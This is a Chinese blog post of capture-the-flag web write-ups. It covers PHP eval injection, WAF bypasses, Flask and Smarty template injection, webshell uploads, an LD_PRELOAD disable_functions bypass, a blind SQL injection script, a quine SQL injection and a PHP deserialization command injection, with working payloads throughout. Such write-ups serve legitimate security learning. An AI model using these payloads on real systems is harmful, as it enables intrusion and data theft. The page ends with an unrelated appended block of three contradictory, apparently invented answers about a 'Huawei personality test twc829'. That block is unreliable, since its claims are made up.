题目讲解3

目录

easy_php cy sec

Easy Calc buu

easy_web xctf 太湖杯

ics-07 xctf

smarty xctf

[HDCTF 2023]LoginMaster  nssctf

unseping


easy_php cy sec

 <?php
error_reporting(E_NOTICE);
highlight_file(__FILE__);
@session_start();
$login = @$_GET['id'];
if(!@isset($login['token'])||$login['token'] != @md5($_SESSION['tokennum'])){
 die('error!');
}else{
 if (isset($_GET['potin1k']))
{       
    $potin1k = $_GET['potin1k'];
    $potin1k = addslashes($potin1k);
if(preg_match('/\{openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|file_put_contents|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^}]+)\}/i' , $potin1k)) {
  die('error!');
}
    if (intval($potin1k)){
eval('"' .$potin1k .('"./ae86qfC.php"') .')}}";');
    }}else{
  eval('$flag="' .$potin1k . '";');
        }
}

?> error!

第一步,读取ae86qfC.php的源码

?id[token]=d41d8cd98f00b204e9800998ecf8427e&potin1k=1{${highlight_file(

id等于这玩意儿是因为$_SESSION['tokennum']没有什么东西,就直接让id=md5($_SESSION['tokennum'])就行,d41d8cd98f00b204e9800998ecf8427e这一串就是$_SESSION['tokennum']的md5加密。potin1k就是绕过addslashes,构造查看ae86qfC.php的内容。1{${highlight_file( 中的1是为了满足 if (intval,只要是数字开头的字符串就会返回数字,如果是纯字符串返回0。
{${highlight_file( 就是绕过addslashes,同时闭合,显示ae86qfC.php的内容

PHP复杂变量绕过addslashes()直接拿shell

 <?php
error_reporting(0);
$text = $_GET['text'];
$filename = $_GET['fiiqnq313'];
if(preg_match('[<>?]', $text)) {
    die('error!');
}
if(is_numeric($filename)){
    $path="/var/www/html/".$filename.".php";
}else{
    die('error');
}
file_put_contents($path, $text);
?> 

preg_match,数组绕过,上传一句话木马

ae86qfC.php?text[]=<?php eval($_POST[cmd]);?>&fiiqnq313=1

访问1.php

cmd=system("cat /flag");


Easy Calc buu

 随便输输,嗯,确实有计算器功能

看源码

 可以发现是有WAF的,且存在一个calc.php文件

看看

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

正则匹配:/m 表示多行匹配

PHP字符串解析特性绕过WAF

输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)

现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。

利用PHP的字符串解析特性来绕过WAF,在num前面加上空格

绕过num传参后,我们要读取他根目录下的文件。

也就是

calc.php? num=print_r(scandir('/')); 

calc.php? num=var_dump(scandir('/'));

 scandir()函数:返回指定目录中的文件和目录的数组

引号给过滤掉了 

那就用chr()绕过,chr(47)就是斜杠/     

? num=print_r(scandir(chr(47)));

? num=var_dump(scandir(chr(47)));

? num=print_r(file_get_contents('/flagg'));

其中/flagg 用chr进行绕过

? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 

? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

easy_web xctf 太湖杯

抓包看看

python......输入框

看看有没有可能是SSTI

 

 您的内容包含受限字符!

多半是过滤了{{}}

可以用特殊字符绕过 ︷ ︸

符号大全-特殊符号-特殊符号大全

再次测试

︷︷7*7︸︸

OK,是flask

先常规操作

︷︷[].__class__.__base__.__subclasses__()︸︸

用catch_warnings

︷︷().__class__.__bases__[0].__subclasses__()[191].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸

 这里引号是被过滤了的

同样可以用特殊字符绕过

同样也可以通过传参绕过 

http://61.147.171.105:65508/?shy1=open&shy2=/flag

POST

str=︷︷().__class__.__bases__[0].__subclasses__()[191].__init__.__globals__.__builtins__[request.args.shy1](request.args.shy2).read()︸︸

ics-07 xctf

 

同样的界面,熟悉的操作

先找有没有什么东西

在项目管理这有个view-source

直接看源码?不,这是个超链接

OK,进去之后,就是代码分析了

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

 来看第一段

page不能为空,同时,他的值不等于index.php,就会包含flag.php文件
否则重定向到flag.php这个文件

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

再看第二段

判断session是不是admin,然后获取到一些值,
匹配.php3457,pht,phtml
如果匹配到,那么就结束
如果没有匹配到,那么就写入文件

chdir:改变目录

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

第三段

floatval这里用的!==,所以类型也要比较,后变为字符串string,前面为数值float,所以肯定不相等。
substr用来返回子串
然后进行数据库的查询,并且进行了转义

如果id的浮点数不是1,且最后一位是9那么,实行查询语句,如果查询正确,会得到一个admin的session

总结:

第一段是个简单重定向,get参数page不为index.php即可


第二段 需要得到一个admin的session,之后可以post传入con与file两个参数
File参数是自定义的文件名字,之后会处理为backup/文件名
这里对文件名进行了过滤,防止后缀名是php的文件。
上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,
那么实际文件的路径就是:uploaded/backup/xxx.xxx


第三段代码是对get参数id进行校验,如果id的浮点数不是1,且最后一位是9那么,实行查询语句,如果查询正确,会得到一个admin的session

因此我们这里就需要满足所有需求

首先

index.php?page=flag.php&id=1xx9 

 这样就有了admin的session

我们就可以进行上传木马了

可以知道这是apache2,它可将php.xxx当作php执行,所以,有时可考虑把后缀变为.php.xxx,但这题不行

con=<?php @eval($_POST[password]);?>&file=1.php/cmd.php/..

其中 .. 代表当前目录的父目录 , .代表当前目录,所以这里的1.php/cmd.php/..也就是访问cmd.php的父目录,也就是 1.php

再利用就行

smarty xctf

Smarty SSTI - FreeBuf网络安全行业门户

有Current IP和X-Forwarded-For,题目处提示模板注入和smarty

那就有两种可能的注入点:

  • XFF
  • client IP

尝试
将XFF头改为{7*7}

发现current IP的值变为了49
可以确定这里存在SSTI

尝试注入

{$smarty.version}

得到smarty版本3.1.30

{phpinfo()}
得到php版本7.2.24

注入方法:

  • 常规{}
  • {php}{/php}标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用
  • {literal}标签,在php5中可以用
  • 静态方法,在在3.1.30的Smarty中被删除
  • {if}标签

总结一下就是在本题中只有常规{}{if}标签可用

先试试常规

{system('ls')}

没有显示
但之前phpinfo是正常显示的

试试{if}标签

{if phpinfo()}{/if}

phpinfo显示了

{if system('ls')}{/if}

ls指令又失败了

system可能被干掉了
去看眼phpinfo里面的信息

发现system果然被禁了
且可访问的地址是/var/www/html/
这感觉是可以上传文件进行突破

{{file_put_contents("/var/www/html/01.php","<?php @eval($_POST[a]);?>")}}

蚁剑

传一个txt看一下发生了什么。

{{file_put_contents("/var/www/html/01.txt","<?php @eval($_POST[a]);?>")}}

 

$_POST没了。经测试发现与$连接的字符串会被过滤掉,单独一个$不会

直接写下面这个

{{fputs(fopen('/var/www/html/02.php','w'),'<?php @eval($_POST[a]);?>')}}

无法直接看其他目录

可用disable-function插件 

也可无需sendmail:巧用LD_PRELOAD突破disable_functions

上传之后

访问

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so 

[HDCTF 2023]LoginMaster  nssctf

 点一下注册

不能注册

那我们随便输测试一下

那再使用admin登录,会提示something wrong

这题应该是sql注入,试试常规的sql注入,都不行,那应该是盲注

不过我们可以先去看看文件泄露,robots.txt看看有没有什么有用的

诶,还真有,分析一下,这应该是他的waf源码 

没有其他回显,并且把大部分东西都过滤掉了

我们看到sleep,有意无意都会想到时间盲注,那这里他把sleep过滤了,怎么办呢

直接绕过

sleep可以用benchmark代替=,<,>,regexp等号可以用like代替, substr用mid绕过

脚本:

import requests
import time

header = {
    'Host': 'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded'
}  # 伪装头


def find_number(cd):  # 判断数据库长度
    for i in range(1, 30):
        payload = "1'or/**/if(length(database())like/**/%d,benchmark(1000000000,sha(1)),1)#" % (i)
        # print(payload)
        data = {"username": 'admin',
                "password": payload
                }
        try:
            res = requests.post(url=url, data=data, timeout=2)
        except:
            print("数据库长度为:", i)
            return i


def find_all(cd, payload):
    name = ""
    for i in range(1, 35):
        for j in range(31, 128):
            data = {"username": 'admin',
                    "password": payload % (i, j)
                    }
            try:
                res = requests.post(url=url, data=data, timeout=2)
            except:
                name += chr(j)
                print('所得值为: %s' % name)
                break


url = "http://node4.anna.nssctf.cn:28562/"
condition = "flag"
# 库名:
#payload = "1'/**/or/**/(if(ascii(mid(database(),%d,1))like/**/%d,benchmark(100000000,sha(1)),1))#"
# 表名:
# payload="1'/**/or/**/if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))like%d,benchmark(100000000,sha(1)))#"
# 列名:
# payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
# 值:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"
find_number(condition)#爆数据库长度
find_all(condition, payload)  # 爆名

不过他这个环境太容易崩了

正常的我们会知道,password是空的且下面是对输入的password与数据库查询的到的password进行强对比

那么就是要构造一个payload使得输入等于输出

 quine方法

主要利用replace()函数

replace是将对象中的某一字符替换成另一字符并输出结果

replace(1,2,3) 

1是要替换的对象

2是被替换的字符

3是要替换的字符

repalce(".",char(46),".")

输出: . 

输入

 repalce('repalce(".",char(46),".")',char(46),'repalce(".",char(46),".")')

则会输出

 repalce("repalce(".",char(46),".")",char(46),"repalce(".",char(46),".")")

 这样实现的是将object中的  .   换成  repalce(".",char(46),".")

但对比发现前后还有单引号和双引号不等

这时又要在repalce里面再嵌套一个replace来让双引号转成单引号

replace(replace('"."',char(34),char(39)),char(46),'.')

得:

'.' 

这里就是先执行里面的replace将"."换成了’.'然后再执行外面的repalce

所以就可以将上面’.'换成输入的内容上面就是用

replace(replace(' "." ',char(34),char(39)),char(46),'.')代替 '.'

这样的输出就与输入一样了

回到题目得到的payload为

1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

unseping

反序列化

直接给出分析版


<?php
highlight_file(__FILE__);
​
class ease{
    
​
    private $method;//ping
    private $args;//array('')
    function __construct($method, $args) {//创建对象时触发
        $this->method = $method;
        $this->args = $args;
    }
     
    function __destruct(){//对象销毁时触发
        if (in_array($this->method, array("ping"))) {//如果ping匹配数组里有ping进入if  
            //这个决定了 $a = new ease("ping",array('pwd'));的第一个参数ping
            //下面的函数也决定了第二个参数是 数组型array('')
            call_user_func_array(array($this, $this->method), $this->args);
            //调用回调函数,并把一个数组参数作为回调函数的参数
            //被调用的函数 this之这个类 method 就是函数ping  参数是args
            //只针对php
           // call_user_func_array(array($ease,"ping"),array('one'));
        }
    } 
     
    function ping($ip){//等于执行了ping("one") 
        //ping的参数只有一个因此数组传一个参就好了
        exec($ip, $result);
        var_dump($result);//貌似执行了这个$ip命令返回了结果
    }
    
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            //正则表达式()整体修饰|或&或;或 或/或cat或flag或tac或php或ls 这都是liunx常用的一些执行命令
            return $str;//绕过表达式 返回传参
        } else {
            echo "don't hack";
        }
    }
     
    function __wakeup(){//执行unserialize()时,先会调用这个函数
        foreach($this->args as $k => $v) {//遍历关联数组  foreach ($array as $key => $value)
            $this->args[$k] = $this->waf($v);//调用waf函数输入$v  //若果绕过waf本身的args不会变
        }
    }   
​
}
​
$ctf=@$_POST['ctf'];//post传参ctf=xxxx
@unserialize(base64_decode($ctf));//先对ctf进行base64解密 在反序列话
//unserialize先检查__wakeup()存在的意义:常常初始化操作 或 连接数据库
/*(前提:有可利用的类)
?>

常见的魔术方法
__construct()        //创建对象时触发

__destruct()        //对象销毁时触发

__call()        //在对象中调用不可访问的方法时触发

__callStatic()        //在静态中调用不可访问的方法时触发

__get()        //用于从不可访问的属性读取数据

__set()        //用于将数据写入不可访问的属性

__isset()        //在不可访问的属性上调用isset()或empty()触发

__unset()        //在不可访问的属性上使用unset()时触发

__invoke()        //当脚本尝试将对象调用为函数时触发

__wakeup()        //执行unserialize()时,先会调用这个函数

__sleep()        //执行serialize()时,先会调用这个函数

1. 分析代码
POST传入参数ctf,且使用base64解码后反序列化传入。unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
ease类中,定义了两个私有变量和五个方法:
construct()为构造函数,定义类的初始化。
destruct()为析构函数,对象销毁前使用。
ping():exec()执行命令函数,var_dump()输出结果。
waf():preg_match_all()函数用于执行一个全局正则表达式匹配,可以搜索字符串中所有可以和正则表达式匹配的结果。源码中对“|、&、;、空格、/、cat、flag、tac、php、ls”进行匹配,若匹配到的结果为false就返回str。
wakeup()函数:使用foreach遍历字符串检测waf。执行unserialize()时,先会调用这个函数。

2. 编写PHP对应的序列化代码

(1)编写序列化测试代码

<?php
class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}    
    $a = new ease("ping",array('pwd'));
    $b = serialize($a);
    echo $b;
    echo "\n";
    echo "\n";
    echo base64_encode($b);
?>

测试pwd成功请求,然后绕过正则获取flag路径。

绕过正则

ls绕过的方法有:空的环境变量 、单引号 、双引号
使用空的环境变量绕过

修改array值为l${X}s

 提示flag在“flag_1s_here”文件夹里面

空格绕过

${IFS}

flag和ls一样

l${X}s${IFS}fl${X}ag_1s_here

直接访问/flag_1s_here/flag_831b69012c67b35f.php

这个是php文件空白的 看来执行php后无法获取flag

需要用到cat命令

怎样才能执行 cat flag_1s_here/flag_831b69012c67b35f.php呢

cat flag php 这几个关键词可以绕过 但是”/“怎么可以绕过?

; 和&又不能用 想要多次执行语句以此替代“/”行不通

用8进制绕过

$(printf "\154\163")  -->ls

写一个简单的C语言代码

#include <stdio.h>
int main()
{
    /* code */
    char site[] = "cat flag_1s_here/flag_831b69012c67b35f.php";
    for (int i = 0; i < sizeof site / sizeof site[0]; i++) {
        printf("\\%o",site[i]);
    }
    return 0;
}

array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")') 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 华为性格测试题目是一种用来评估人们个人性格特点的工具。twc829是其中的一道题目,在测试中扮演着重要的角色。 这道题目是由三个词组组成的: 1. TWC:这是缩写词,代表的是“Team Work Collaboration”,意思是团队合作协作。这个词组旨在测试被试者是否懂得团队合作的重要性以及是否擅长合作。 2. 8:代表数字“8”,这个数字在中国文化中通常被认为是带有吉祥和好运的意义。这个数字反映了华为文化中强调的重视人际关系和沟通。 3. 29:代表日期“29日”,在中国文化中,29日也被认为是一个吉祥的数字。它强调了华为所追求的事业理念,即不仅仅关注短期的业绩和利润,更关注长期的战略和价值。 通过twc829这个题目,华为希望了解被试者的个性特征,如能否合作,注重人际关系,有长远的眼光等。这有助于华为招聘到适合公司文化的人才,提升团队合作效率和表现。而对被试者来说,通过参与此测试,也能更好地理解自身的个性特质和适合的职业方向。 ### 回答2: 华为性格测试题目讲解twc829,是针对华为公司的员工进行性格测评的一种方式。该测试题目共分为七大部分,用于测评员工的领导能力、团队合作能力、抗压能力、沟通能力、学习能力、责任心以及创新能力。 第一部分:领导能力。通过测试员工的领导能力,测评员工是否有领导集体的能力,是否适合担任领导。 第二部分:团队合作能力。通过测试员工的团队合作能力,测评员工是否能够与其他员工协同工作,共同完成任务。 第三部分:抗压能力。通过测试员工的抗压能力,测评员工是否能够在压力之下,保持良好的心态和工作状态。 第四部分:沟通能力。通过测试员工的沟通能力,测评员工与其他员工的合作沟通是否有效、是否能够良好沟通协作。 第五部分:学习能力。通过测试员工的学习能力,测评员工是否具有自我学习的能力,是否能够刻苦钻研,提高个人素质。 第六部分:责任心。通过测试员工的责任心,测评员工是否认真负责,做事情认真、细致、规范。 第七部分:创新能力。通过测试员工的创新能力,测评员工是否具有开拓创新、不断追求进步的精神和意愿。 通过华为性格测试题目讲解twc829,可更好的帮助华为公司了解员工个人性格特点和优劣势,帮助员工提高个人能力素质,更好的适应公司的工作要求,从而为公司的发展做出贡献。 ### 回答3: 华为性格测试题目是华为公司为了选拔优秀人才而设立的一个测试,主要考察应聘者的心理素质、智商、情商以及个性特征等方面,是华为公司招聘流程中不可或缺的一个环节。在华为性格测试题目中,每道题目都有其特定的意义和考察目的,应聘者需要认真阅读题目并思考,进行准确的回答。 其中,“twc829”是华为性格测试题目中的一个具有代表性的问题,也是比较具有挑战性的一道题目。它要求应聘者从数个选项中选择出一个最符合自己的答案,并用一句话来形容自己。 这道题目的意义在于考察应聘者对自己性格的认识和理解,以及应聘者是否具备言简意赅的表达能力。同时,这道题目涉及到多个选项,每个选项都有着不同的特征和个性,需要应聘者灵活运用自己的思维和分析能力,选择一个最符合自己的答案。 在回答这道题目时,应聘者可以根据自己的实际情况选择最符合自己的选项,并用简洁的语言表达自己的性格特点,展现自己的个性魅力和优势。同时,应聘者还需要注意语言表达的流畅度和准确度,以便给面试官留下深刻的印象。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值